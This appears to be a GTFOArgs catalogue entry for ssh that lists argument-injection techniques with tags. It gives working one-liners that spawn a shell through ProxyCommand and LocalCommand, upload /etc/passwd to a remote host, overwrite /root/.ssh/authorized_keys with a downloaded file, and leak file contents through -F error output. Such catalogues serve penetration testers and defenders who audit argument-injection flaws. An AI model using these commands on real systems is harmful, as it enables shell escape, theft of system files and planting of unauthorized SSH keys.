Argument injection via ssh
ssh ssh Sandbox: execFile · Timeout: 30s
security.execution.command network.transfer.upload network.transfer.download system.file.read Spawn interactive shell on client. Does not require a successful connection.
ssh -o ProxyCommand=';sh 0<&2 1>&2' host Spawn interactive shell on client. Requires a successful connection towards `host`.
ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh host Sends a local file (`/etc/passwd`) to a remote SSH server and saves it in a location (`/tmp/out`).
ssh host "cat /tmp/out" < /etc/passwd Retrieves a remote file from an SSH server (`/tmp/infile`) and saves it to a local destination (`/root/.ssh/authorized_keys`).
ssh host "cat /tmp/infile" > /root/.ssh/authorized_keys Reads a file and outputs it in an error message.
ssh -F /etc/passwd host Does not require a successful connection.
ssh -o ProxyCommand=';uname -a 1>&2' host GTFOArgs entry for ssh. This binary can be used to inject arguments for execution, file operations, or other capabilities.